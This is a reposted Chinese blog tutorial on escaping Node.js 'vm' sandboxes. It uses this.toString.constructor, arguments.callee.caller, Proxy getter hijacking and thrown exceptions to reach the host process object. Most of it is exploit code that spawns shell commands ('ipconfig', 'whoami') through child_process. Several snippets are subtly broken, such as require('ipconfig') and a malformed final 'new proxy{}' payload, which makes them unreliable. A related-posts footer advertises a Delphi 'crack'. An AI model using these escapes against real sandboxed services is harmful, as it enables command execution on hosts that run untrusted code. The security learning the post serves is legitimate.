js沙箱逃逸

news2024/12/27 11:17:40

目录

一、什么是沙箱(sandbox)

二、沙箱技术的实现 & node.js

2.1简单沙箱程序示例 

2.2this.tostring

S1:

S2:

 三、arguments.callee.caller


一、什么是沙箱(sandbox)

在计算机安全性方面,沙箱(沙盒、sanbox)是分离运行程序的安全机制,提供一个隔离环境以运行程序。通常情况下,在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止,资源包括内存、网络访问、主机系统等等。

沙箱通常用于执行不受信任的程序或代码,例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险。


二、沙箱技术的实现 & node.js

沙箱技术按照设定的安全策略,限制不可信程序对系统资源的使用来实现,那么就要在访问系统资源之前将程序的系统调用拦截下来,然后按照安全策略对调用进行审查。

基于JavaScript的node.js有一些提供沙箱环境的模块,它们也根据这样的思路来实现,例如 vm2 模块使用到了 ES6 提供的新特性–Proxy。
Proxy 对象用于创建一个对象的代理,从而实现基本操作的拦截和自定义(如属性查找、赋值、枚举、函数调用等)

简单地说,就是在对某个对象进行操作之前,例如访问它的属性或者调用它的方法,先传递给与对象绑定的 Proxy ,由 Proxy 执行具体的逻辑。

2.1简单沙箱程序示例 

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

执行结果

2.2this.tostring

在2.1示例中我们可以使用this引入上下文中没有的外部模块从而绕过此隔离模块

const process = this.toString.constructor('return process')() 
process.mainModule.require('ipconfig').execSync('curl -I http://www.baidu.com').toString()`

第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器(function),构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。

第二行,利用前面获取的process对象既可以干任何事。

执行结果
  

S1:

为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?


{}是属于沙箱内的一个对象我们即使使用则这个方法也无法获取process而this是沙箱外的一个对象它可以帮助我i们获取process

重点:引入沙箱外对象

S2:

m和n也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?


原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的  、

S2衍生

我们可以通过改变context:{m: [], n: {}, x: /regexp/}使得m,n,x可以引用

  

 三、arguments.callee.caller

有这么一段代码它的上下文不存在this也不存在别的对象比如下面这段代码

const vm = require('vm'); 
 
const script = `...`; 
 
const sandbox = Object.create(null); 
 
const context = new vm.createContext(sandbox); 
 
const res = vm.runInContext(script, context); 
 
console.log('Hello ' + res) 

由于在 JavaScript 中,this 关键字的值取决于函数的执行上下文。在全局作用域中,this 通常指向全局对象(如浏览器环境中的 window 对象,Node.js 环境中的 global 对象)。但是,在使用 Object.create(null) 创建的对象上下文中,this 将为 null。

在这种情况下我们前面提到的“this法”失效了此时该如何逃逸?

我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。

在 JavaScript 中,arguments.callee arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而,这两个属性都已经被弃用(deprecated)并不再建议使用,因为它们在严格模式("strict mode")下会导致错误。

若此时我们在沙盒中定义一个函数并且返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

那么通过如下代码就可实现上述例子的沙箱绕过

(() => {  
 
const a = {}  
 
a.toString = function () {    
 
const cc = arguments.callee.caller;    
 
const p = (cc.constructor.constructor('return process'))();   
 
 return p.mainModule.require('child_process').execSync('ipconfig').toString()  
 
}  
 
return a })()
const vm = require('vm'); 
 
const script = `(() => {  
  const a = {}  
  
  a.toString = function () {    
  
  const cc = arguments.callee.caller;    
  
  const p = (cc.constructor.constructor('return process'))();   
  
   return p.mainModule.require('child_process').execSync('ipconfig').toString()  
  
  }  
  
  return a })()`; 
 
const sandbox = Object.create(null); 
 
const context = new vm.createContext(sandbox); 
 
const res = vm.runInContext(script, context); 
 
console.log('Hello ' + res) 

执行后可获得ip

上述代码触发条件在于console.log('Hello ' + res) 也就是字符串触发

S1:若沙箱外没有字符串相关操作此时该怎么办?

可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码

代码如下

const vm = require('vm'); 
 
const script = `...`; 
 
const sandbox = Object.create(null); 
 
const context = new vm.createContext(sandbox); 
 
const res = vm.runInContext(script, context); 
 
console.log(res.xxx) 

可以看到在这样一个代码中第一种方法已经不适用了此时我们就需要用到proxy劫持外部get

(() => {  
 
const a = new Proxy({}, { 
 
get: function() {      
 
const cc = arguments.callee.caller;      
 
const p = (cc.constructor.constructor('return process'))();     
 
 return p.mainModule.require('child_process').execSync('whoami').toString()
 
}  
 
})    
 
return a })()

 

S2:若沙箱外既没有字符串且沙箱的返回值没有做任何事,或者没有捕捉返回值

此时我们可以借助异常,把我们沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞

vm = require('vm'); 
 
const code5 = 'throw new proxy{}, {
  get :function(){
    const cc =  arguments.callee.caller;
    const p = (cc.constructor.constructor('return process'))(); 
    return p.mainModule.require('child_process').execSync('whoami').toString()
  }
})
;' 
 
try {    vm.runInContext(code5, vm.createContext(Object.create(null))); }
 
 catch(e)
 
 {    console.log('error happend: ' + e); }

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/832838.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【【萌新的STM32学习-4】】

萌新的STM32学习-4 STM32系统框架 1.1 Cortex M 内核& 芯片 F1有四个驱动单元 四个被动单元 AHB 高级高性能总线 APB 高级外围总线 部分系统结构 最上面的ICode 总线直接连接到了内部Flash 不需要通过总线矩阵 . D Code 总线(D - Bus) 这是Cort…

Kubernetes高可用集群二进制部署(五)kubelet、kube-proxy、Calico、CoreDNS

Kubernetes概述 使用kubeadm快速部署一个k8s集群 Kubernetes高可用集群二进制部署(一)主机准备和负载均衡器安装 Kubernetes高可用集群二进制部署(二)ETCD集群部署 Kubernetes高可用集群二进制部署(三)部署…

Delphi Enterprise Crack

Delphi Enterprise Crack Delphi帮助您使用Object Pascal为Windows、Mac、Mobile、IoT和Linux构建和更新数据丰富、超连接、可视化的应用程序。Delphi Enterprise适合开发团队构建客户端/服务器或多层应用程序、REST服务等。 Delphi功能 单一代码库-用更少的编码工作为所有主要…

MySQL 详细学习教程【万字长文, 建议收藏】

目录 1. Mysql入门1.1 Mysql5.7 安装配置1.2 命令行连接到Mysql1.3 图形化软件1.3.1 Navicat1.3.2 SQLyog 1.4 数据库三层结构 2. Java操作数据库、表2.1 创建数据库2.2 查询数据库2.3 备份恢复数据库2.4 创建表2.5 修改表 3 CRUD3.1 insert插入3.2 update修改3.3 delete修改3.…

一篇文章搞定《LeakCanary源码详解(全)》

一篇文章搞定《LeakCanary源码解析》 前言LeakCanary和LeakCanary2区别LeakCanary的快速使用第一步:添加依赖第二步:初始化LeakCanary第三步:运行应用程序并监测内存泄漏 LeakCanary基础铺垫四大引用WeakReference和ReferenceQueueRefercence…

【Spring】(二)从零开始的 Spring 项目搭建与使用

文章目录 前言一、Spring 项目的创建1.1 创建 Maven 项目1.2 添加 Spring 框架支持1.3 添加启动类 二、储存 Bean 对象2.1 创建 Bean2.1 将 Bean 注册到 Spring 容器 三、获取并使用 Bean 对象3.1 获取Spring 上下文3.2 ApplicationContext 和 BeanFactory 的区别3.3 获取指定的…

2023-02-03——2023-08-03,半年以来与客服交流的记录【CSND 文章撰写 网站使用求解】客服咨询交流记录(长期更新ing)

这世界上久处不厌,都是因为用心。 🎯作者主页: 追光者♂🔥 🌸个人简介: 💖[1] 计算机专业硕士研究生💖 🌿[2] 2023年城市之星领跑者TOP1(哈尔滨)🌿 🌟[3] 2022年度博客之星人工智能领域TOP4🌟 🏅[4] 阿里云社区特邀专家博主🏅 🏆

Cesium 实战教程 - 调整 3dtiles 倾斜摄影大小

Cesium 实战教程 - 调整 3dtiles 倾斜摄影大小 核心代码完整代码在线示例 之前由于误解遇到一个特殊的需求:想要把三维球上叠加倾斜摄影进行自由放大缩小,跟随地图的缩放进行缩放。 后来经过搜索、尝试,终于实现了需求。 但是,后…

什么是强化学习?

📝什么是强化学习? 1. 📝监督,非监督,强化2. 📝非 i.i.d3. 📝强化学习基本形式4. 📝马尔可夫过程 🌟 强化学习(Reinforcement Learning,RL&#x…

windows安装kafka配置SASL-PLAIN安全认证

目录 1.Windows安装zookeeper: 1.1下载zookeeper 1.2 解压之后如图二 1.3创建日志文件 1.4复制 “zoo_sample.cfg” 文件 1.5更改 “zoo.cfg” 配置 1.6新建zk_server_jaas.conf 1.7修改zkEnv.cmd 1.8导入相关jar 1.9以上配置就配好啦,接下来启…

小红书博主排名丨狂揽近百万粉丝,女性议题成“爆款制造机”?

从上野千鹤子和北大女生的对谈,到电影《消失的她》,再到引爆“粉色狂潮”的电影《芭比》,近年来,女性话题、两性情感话题成为社会热门议题。“踩过恋爱所有坑,想给姑娘撑把伞”,近期,小红书博主…

2023年华数杯数学建模B题思路代码分析 - 不透明制品最优配色方案设计

# 1 赛题 B 题 不透明制品最优配色方案设计 日常生活中五彩缤纷的不透明有色制品是由着色剂染色而成。因此,不透明 制品的配色对其外观美观度和市场竞争力起着重要作用。然而,传统的人工配色 存在一定的局限性,如主观性强、效率低下等。因此…

docker容器学习笔记1

docker容器是干什么用的 docker就是一个轻量级的虚拟机,是一个容器,隔离性好,能够确保环境的统一,有效利用系统资源,轻松迁移和拓展。简单的可以理解为容器就是一个小型功能齐全的虚拟机。 实际上是如何使用的呢&…

RocketMQ发送消息超时异常

说明:在使用RocketMQ发送消息时,出现下面这个异常(org.springframework.messging.MessgingException:sendDefaultImpl call timeout……); 解决:修改RocketMQ中broke.conf配置,添加下…

2023华数杯数学建模竞赛C题思路解析

如下为:2023华数杯数学建模竞赛C题 母亲身心健康对婴儿成长的影响 的思路解析 C题 母亲身心健康对婴儿成长的影响 母亲是婴儿生命中最重要的人之一,她不仅为婴儿提供营养物质和身体保护,还为婴儿提供情感支持和安全感。母亲心理健康状态的不…

HCIP作业3

题目 配置IP地址 R1 [r1]int g0/0/1 [r1-GigabitEthernet0/0/1]ip add 192.168.1.1 24 [r1-Serial4/0/0]ip add 12.1.1.1 24 R2 [r2]int s4/0/0 [r2-Serial4/0/0]ip add 12.1.1.2 24 [r2-Serial4/0/0]int s4/0/1 [r2-Serial4/0/1]ip add 32.1.1.1 24 [r2-Serial4/0/1]in…

数据管理基础知识

数据管理原则 数据管理与其他形式的资产管理的共同特征,涉及了解组织拥有哪些数据以及可以使用这些数据完成哪些工作,然后确定如何最好的使用数据资产来实现组织目标与其他流程一样,他必须平衡战略和运营需求,通过遵循一套原则&a…

k8s nginx+ingress 配置

1 nginx> ingress 配置: 2 nginx >service 配置 3 nginx pod配置: 4 nginx.conf 配置文件: # web端v1server{listen 30006;add_header Strict-Transport-Security "max-age31536000; includeSubDomains";#add_header Content…

【练】要求定义一个全局变量 char buf[] = “1234567“,创建两个线程,不考虑退出条件,打印buf

要求定义一个全局变量 char buf[] "1234567",创建两个线程,不考虑退出条件,另: A线程循环打印buf字符串,B线程循环倒置buf字符串,即buf中本来存储1234567,倒置后buf中存储7654321. 不…

方差分析||判断数据是否符合正态分布

方差分析练习题 练习学习笔记: (1) 标准差和标准偏差、均方差是一个东西。标准误差和标准误是一个东西。这两个东西有区别。 (2)单因素方差分析(MATLAB求解) (3)使用an…